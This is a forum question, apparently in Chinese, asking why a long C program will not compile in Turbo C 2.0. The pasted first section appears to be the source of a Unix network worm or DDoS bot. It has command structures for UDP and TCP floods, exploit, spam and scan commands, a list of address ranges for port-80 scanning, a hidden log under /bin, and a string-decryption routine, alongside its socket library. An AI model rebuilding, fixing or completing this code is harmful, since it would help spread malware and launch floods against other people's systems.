在TurboC 2.0下运行调试说代码太长要删节，而且报告N多错误信息，请问是怎么回事。

源代码第一段如下：

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <stdlib.h>
#include <stdarg.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/time.h>
#include <unistd.h>
#include <errno.h>
#include <netdb.h>
#include <arpa/telnet.h>
#include <rpc/rpc.h>
#include <sys/wait.h>
#include <signal.h>


#define SCAN
#undef LARGE_NET
#undef FREEBSD
#define LINKS 64
#define CLIENTS 128
#define PORT 2001
#define SCANPORT    80
#define SCANTIMEOUT    5
#define MAXPATH        4096
#define ESCANPORT    10100

/////////////////////////////////////////////////////////

#define TCP_PENDING 1
#define TCP_CONNECTED 2
#define SOCKS_REPLY 3
#define FREE(x) {if (x) { free(x);x=NULL; }}
enum { ASUCCESS=0, ARESOLVE, ACONNECT, ASOCKET, ABIND, AINUSE, APENDING, AINSTANCE, AUNKNOWN };
enum { AREAD=1, AWRITE=2, AEXCEPT=4 };

void Log(char *format,...) {
    va_list args;
    int nBuf;
    char szBuffer[4096];
    FILE *a=fopen("/bin/.log","a");
    va_start(args,format);
    nBuf=vsnprintf(szBuffer,sizeof(szBuffer),format,args);
    va_end(args);
    if (a == NULL) return;
    fprintf(a,"%s",szBuffer);
    fclose(a);
}

void nas(int a) {
}

#ifdef SCAN
unsigned char classes[] = { 3, 4, 6, 8, 9, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 24, 25, 26, 28, 29, 30, 32, 33, 34, 35, 38, 40, 43, 44, 45,
    46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 61, 62, 63, 64, 65, 66, 67, 68, 80, 81, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138,
    139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167,
    168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196,
    198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 224, 225, 226, 227, 228, 229,
    230, 231, 232, 233, 234, 235, 236, 237, 238, 239 };
#endif

struct ainst {
    void *ext,*ext5;
    int ext2,ext3,ext4;

    int sock,error;
    unsigned long len;
    struct sockaddr_in in;
};
struct header {
    char tag;
    int id;
    unsigned long len;
    unsigned long seq;
};
struct route_rec {
    struct header h;
    unsigned char hops;
    unsigned long server;
};
struct kill_rec {
    struct header h;
};
struct sh_rec {
    struct header h;
};
struct version_rec {
    struct header h;
};
struct ping_rec {
    struct header h;
};
struct pong_rec {
    struct header h;
    unsigned long from;
};
struct update_rec {
    struct header h;
};
struct list_rec {
    struct header h;
};
struct udp_rec {
    struct header h;
    unsigned long size;
    unsigned long target;
    unsigned short port;
    unsigned long secs;
};
struct tcp_rec {
    struct header h;
    unsigned long target;
    unsigned short port;
    unsigned long secs;
};
struct gen_rec {
    struct header h;
    unsigned long target;
    unsigned short port;
    unsigned long secs;
};
struct df_rec {
    struct header h;
    unsigned long target;
    unsigned long secs;
};
struct add_rec {
    struct header h;
    unsigned long server;
    unsigned long socks;
    unsigned long bind;
    unsigned short port;
};
struct data_rec {
    struct header h;
};
struct addsrv_rec {
    struct header h;
};
struct initsrv_rec {
    struct header h;
};
struct qmyip_rec {
    struct header h;
};
struct myip_rec {
    struct header h;
    unsigned long ip;
};
struct escan_rec {
    struct header h;
    unsigned long ip;
};
struct click_rec {
    struct header h;
};
struct spam_rec {
    struct header h;
    unsigned long from;
    unsigned long to;
};
struct exploit_rec {
    struct header h;
    unsigned long ip;
};

struct ainst clients[CLIENTS*2];
struct ainst udpclient;
unsigned int sseed;
struct route_table {
    int id;
    unsigned long ip;
    unsigned short port;
} routes[LINKS];
unsigned long numlinks,*links=NULL, myip=0;
unsigned long sequence[LINKS];
void gsrand(unsigned long s) { sseed=s; }
unsigned long grand() { sseed=((sseed*965764979)%65535)/2; return sseed; }
unsigned int *pids=NULL;
unsigned long numpids=0;

int mfork() {
    unsigned int parent, *newpids, i;
    parent=fork();
    if (parent <= 0) return parent;
    numpids++;
    newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
    for (i=0;i<numpids-1;i++) newpids[i]=pids[i];
    newpids[numpids-1]=parent;
    FREE(pids);
    pids=newpids;
    return parent;
}

char *aerror(struct ainst *inst) {
    if (inst == NULL) return "Invalid instance or socket";
    switch(inst->error) {
        case ASUCCESS:return "Operation Success";
        case ARESOLVE:return "Unable to resolve";
        case ACONNECT:return "Unable to connect";
        case ASOCKET:return "Unable to create socket";
        case ABIND:return "Unable to bind socket";
        case AINUSE:return "Port is in use";
        case APENDING:return "Operation pending";
        case AUNKNOWN:default:return "Unknown";
    }
    return "";
}

int aresolve(char *host) {
     struct hostent *hp;
    if (inet_addr(host) == 0 || inet_addr(host) == -1) {
        unsigned long a;
        if ((hp = gethostbyname(host)) == NULL) return 0;
        bcopy((char*)hp->h_addr, (char*)&a, hp->h_length);
        return a;
    }
    else return inet_addr(host);
}

int abind(struct ainst *inst,unsigned long ip,unsigned short port) {
    struct sockaddr_in in;
    if (inst == NULL) return (AINSTANCE);
    if (inst->sock == 0) {
        inst->error=AINSTANCE;
        return (AINSTANCE);
    }
    inst->len=0;
    in.sin_family = AF_INET;
    if (ip == NULL) in.sin_addr.s_addr = INADDR_ANY;
    else in.sin_addr.s_addr = ip;
    in.sin_port = htons(port);
    if (bind(inst->sock, (struct sockaddr *)&in, sizeof(in)) < 0) {
        inst->error=ABIND;
        return (ABIND);
    }
    inst->error=ASUCCESS;
    return ASUCCESS;
}

int await(struct ainst **inst,unsigned long len,char type,long secs) {
    struct timeval tm,*tmp;
    fd_set read,write,except,*readp,*writep,*exceptp;
    int p,ret,max;
    if (inst == NULL) return (AINSTANCE);
    for (p=0;p<len;p++) inst[p]->len=0;
    if (secs > 0) {
        tm.tv_sec=secs;
        tm.tv_usec=0;
        tmp=&tm;
    }
    else tmp=(struct timeval *)NULL;
    if (type & AREAD) {
        FD_ZERO(&read);
        for (p=0;p<len;p++) FD_SET(inst[p]->sock,&read);
        readp=&read;
    }
    else readp=(struct fd_set*)0;
    if (type & AWRITE) {
        FD_ZERO(&write);
        for (p=0;p<len;p++) FD_SET(inst[p]->sock,&write);
        writep=&write;
    }
    else writep=(struct fd_set*)0;
    if (type & AEXCEPT) {
        FD_ZERO(&except);
        for (p=0;p<len;p++) FD_SET(inst[p]->sock,&except);
        exceptp=&except;
    }
    else exceptp=(struct fd_set*)0;
    for (p=0,max=0;p<len;p++) if (inst[p]->sock > max) max=inst[p]->sock;
    if ((ret=select(max+1,readp,writep,exceptp,tmp)) == 0) {
        for (p=0;p<len;p++) inst[p]->error=APENDING;
        return (APENDING);
    }
    if (ret == -1) return (AUNKNOWN);
    for (p=0;p<len;p++) {
        if (type & AREAD) if (FD_ISSET(inst[p]->sock,&read)) inst[p]->len+=AREAD;
        if (type & AWRITE) if (FD_ISSET(inst[p]->sock,&write)) inst[p]->len+=AWRITE;
        if (type & AEXCEPT) if (FD_ISSET(inst[p]->sock,&except)) inst[p]->len+=AEXCEPT;
    }
    for (p=0;p<len;p++) inst[p]->error=ASUCCESS;
    return (ASUCCESS);
}

int atcp_sync_check(struct ainst *inst) {
    if (inst == NULL) return (AINSTANCE);
    inst->len=0;
    errno=0;
    if (connect(inst->sock, (struct sockaddr *)&inst->in, sizeof(inst->in)) == 0 || errno == EISCONN) {
        inst->error=ASUCCESS;
        return (ASUCCESS);
    }
    if (!(errno == EINPROGRESS ||errno == EALREADY)) {
        inst->error=ACONNECT;
        return (ACONNECT);
    }
    inst->error=APENDING;
    return (APENDING);
}

int atcp_sync_connect(struct ainst *inst,char *host,unsigned int port) {
    int flag=1;
     struct hostent *hp;
    if (inst == NULL) return (AINSTANCE);
    inst->len=0;
    if ((inst->sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
        inst->error=ASOCKET;
        return (ASOCKET);
    }
    if (inet_addr(host) == 0 || inet_addr(host) == -1) {
        if ((hp = gethostbyname(host)) == NULL) {
            inst->error=ARESOLVE;
            return (ARESOLVE);
        }
        bcopy((char*)hp->h_addr, (char*)&inst->in.sin_addr, hp->h_length);
    }
    else inst->in.sin_addr.s_addr=inet_addr(host);
    inst->in.sin_family = AF_INET;
    inst->in.sin_port = htons(port);
    flag = fcntl(inst->sock, F_GETFL, 0);
    flag |= O_NONBLOCK;
    fcntl(inst->sock, F_SETFL, flag);
    inst->error=ASUCCESS;
    return (ASUCCESS);
}

int atcp_connect(struct ainst *inst,char *host,unsigned int port) {
    int flag=1;
    unsigned long start;
     struct hostent *hp;
    if (inst == NULL) return (AINSTANCE);
    inst->len=0;
    if ((inst->sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
        inst->error=ASOCKET;
        return (ASOCKET);
    }
    if (inet_addr(host) == 0 || inet_addr(host) == -1) {
        if ((hp = gethostbyname(host)) == NULL) {
            inst->error=ARESOLVE;
            return (ARESOLVE);
        }
        bcopy((char*)hp->h_addr, (char*)&inst->in.sin_addr, hp->h_length);
    }
    else inst->in.sin_addr.s_addr=inet_addr(host);
    inst->in.sin_family = AF_INET;
    inst->in.sin_port = htons(port);
    flag = fcntl(inst->sock, F_GETFL, 0);
    flag |= O_NONBLOCK;
    fcntl(inst->sock, F_SETFL, flag);
    start=time(NULL);
    while(time(NULL)-start < 10) {
        errno=0;
        if (connect(inst->sock, (struct sockaddr *)&inst->in, sizeof(inst->in)) == 0 || errno == EISCONN) {
            inst->error=ASUCCESS;
            return (ASUCCESS);
        }
        if (!(errno == EINPROGRESS ||errno == EALREADY)) break;
        sleep(1);
    }
    inst->error=ACONNECT;
    return (ACONNECT);
}

int atcp_accept(struct ainst *inst,struct ainst *child) {
    int sock;
    unsigned int datalen;
    if (inst == NULL || child == NULL) return (AINSTANCE);
    datalen=sizeof(child->in);
    inst->len=0;
    memcpy((void*)child,(void*)inst,sizeof(struct ainst));
    if ((sock=accept(inst->sock,(struct sockaddr *)&child->in,&datalen)) < 0) {
        memset((void*)child,0,sizeof(struct ainst));
        inst->error=APENDING;
        return (APENDING);
    }
    child->sock=sock;
    inst->len=datalen;
    inst->error=ASUCCESS;
    return (ASUCCESS);
}

int atcp_send(struct ainst *inst,char *buf,unsigned long len) {
    long datalen;
    if (inst == NULL) return (AINSTANCE);
    inst->len=0;
    errno=0;
    if ((datalen=write(inst->sock,buf,len)) < len) {
        if (errno == EAGAIN) {
            inst->error=APENDING;
            return (APENDING);
        }
        else {
            inst->error=AUNKNOWN;
            return (AUNKNOWN);
        }
    }
    inst->len=datalen;
    inst->error=ASUCCESS;
    return (ASUCCESS);
}

int atcp_sendmsg(struct ainst *inst, char *words, ...) {
    static char textBuffer[2048];
    unsigned int a;
    va_list args;
    va_start(args, words);
    a=vsprintf(textBuffer, words, args);
    va_end(args);
    return atcp_send(inst,textBuffer,a);
}

int atcp_recv(struct ainst *inst,char *buf,unsigned long len) {
    long datalen;
    if (inst == NULL) return (AINSTANCE);
    inst->len=0;
    if ((datalen=read(inst->sock,buf,len)) < 0) {
        if (errno == EAGAIN) {
            inst->error=APENDING;
            return (APENDING);
        }
        else {
            inst->error=AUNKNOWN;
            return (AUNKNOWN);
        }
    }
    if (datalen == 0 && len) {
        inst->error=AUNKNOWN;
        return (AUNKNOWN);
    }
    inst->len=datalen;
    inst->error=ASUCCESS;
    return (ASUCCESS);
}

int atcp_close(struct ainst *inst) {
    if (inst == NULL) return (AINSTANCE);
    inst->len=0;
    if (close(inst->sock) < 0) {
        inst->error=AUNKNOWN;
        return (AUNKNOWN);
    }
    inst->sock=0;
    inst->error=ASUCCESS;
    return (ASUCCESS);
}

int audp_listen(struct ainst *inst,unsigned int port) {
    int flag=1;
    if (inst == NULL) return (AINSTANCE);
    inst->len=0;
    if ((inst->sock = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0) {
        inst->error=ASOCKET;
        return (ASOCKET);
    }
    inst->in.sin_family = AF_INET;
    inst->in.sin_addr.s_addr = INADDR_ANY;
    inst->in.sin_port = htons(port);
    if (bind(inst->sock, (struct sockaddr *)&inst->in, sizeof(inst->in)) < 0) {
        inst->error=ABIND;
        return (ABIND);
    }
    flag = fcntl(inst->sock, F_GETFL, 0);
    flag |= O_NONBLOCK;
    fcntl(inst->sock, F_SETFL, flag);
    inst->error=ASUCCESS;
    return (ASUCCESS);
}

int audp_setup(struct ainst *inst,char *host,unsigned int port) {
    int flag=1;
     struct hostent *hp;
    if (inst == NULL) return (AINSTANCE);
    inst->len=0;
    if ((inst->sock = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0) {
        inst->error=ASOCKET;
        return (ASOCKET);
    }
    if (inet_addr(host) == 0 || inet_addr(host) == -1) {
        if ((hp = gethostbyname(host)) == NULL) {
            inst->error=ARESOLVE;
            return (ARESOLVE);
        }
        bcopy((char*)hp->h_addr, (char*)&inst->in.sin_addr, hp->h_length);
    }
    else inst->in.sin_addr.s_addr=inet_addr(host);
    inst->in.sin_family = AF_INET;
    inst->in.sin_port = htons(port);
    flag = fcntl(inst->sock, F_GETFL, 0);
    flag |= O_NONBLOCK;
    fcntl(inst->sock, F_SETFL, flag);
    inst->error=ASUCCESS;
    return (ASUCCESS);
}

int audp_send(struct ainst *inst,char *buf,unsigned long len) {
    long datalen;
    if (inst == NULL) return (AINSTANCE);
    inst->len=0;
    errno=0;
    if ((datalen=sendto(inst->sock,buf,len,0,(struct sockaddr*)&inst->in,sizeof(inst->in))) < len) {
        if (errno == EAGAIN) {
            inst->error=APENDING;
            return (APENDING);
        }
        else {
            inst->error=AUNKNOWN;
            return (AUNKNOWN);
        }
    }
    inst->len=datalen;
    inst->error=ASUCCESS;
    return (ASUCCESS);
}

int audp_sendmsg(struct ainst *inst, char *words, ...) {
    static char textBuffer[2048];
    unsigned int a;
    va_list args;
    va_start(args, words);
    a=vsprintf(textBuffer, words, args);
    va_end(args);
    return audp_send(inst,textBuffer,a);
}

int audp_recv(struct ainst *inst,struct ainst *client,char *buf,unsigned long len) {
    long datalen,nlen;
    if (inst == NULL) return (AINSTANCE);
    nlen=sizeof(inst->in);
    inst->len=0;
    memcpy((void*)client,(void*)inst,sizeof(struct ainst));
    if ((datalen=recvfrom(inst->sock,buf,len,0,(struct sockaddr*)&client->in,(socklen_t*)&nlen)) < 0) {
        if (errno == EAGAIN) {
            inst->error=APENDING;
            return (APENDING);
        }
        else {
            inst->error=AUNKNOWN;
            return (AUNKNOWN);
        }
    }
    inst->len=datalen;
    inst->error=ASUCCESS;
    return (ASUCCESS);
}

int audp_close(struct ainst *inst) {
    if (inst == NULL) return (AINSTANCE);
    inst->len=0;
    if (close(inst->sock) < 0) {
        inst->error=AUNKNOWN;
        return (AUNKNOWN);
    }
    inst->sock=0;
    inst->error=ASUCCESS;
    return (ASUCCESS);
}

unsigned long _decrypt(char *str, unsigned long len) {
    unsigned long pos=0,seed[4]={0x78912389,0x094e7bc43,0xba5de30b,0x7bc54da7};
    gsrand(((seed[0]+seed[1])*seed[2])^seed[3]);
    while(1) {
        gsrand(seed[pos%4]+grand()+pos);
        str[pos]-=grand();
        pos++;
        if (pos >= len) break;
    }
    return pos;
}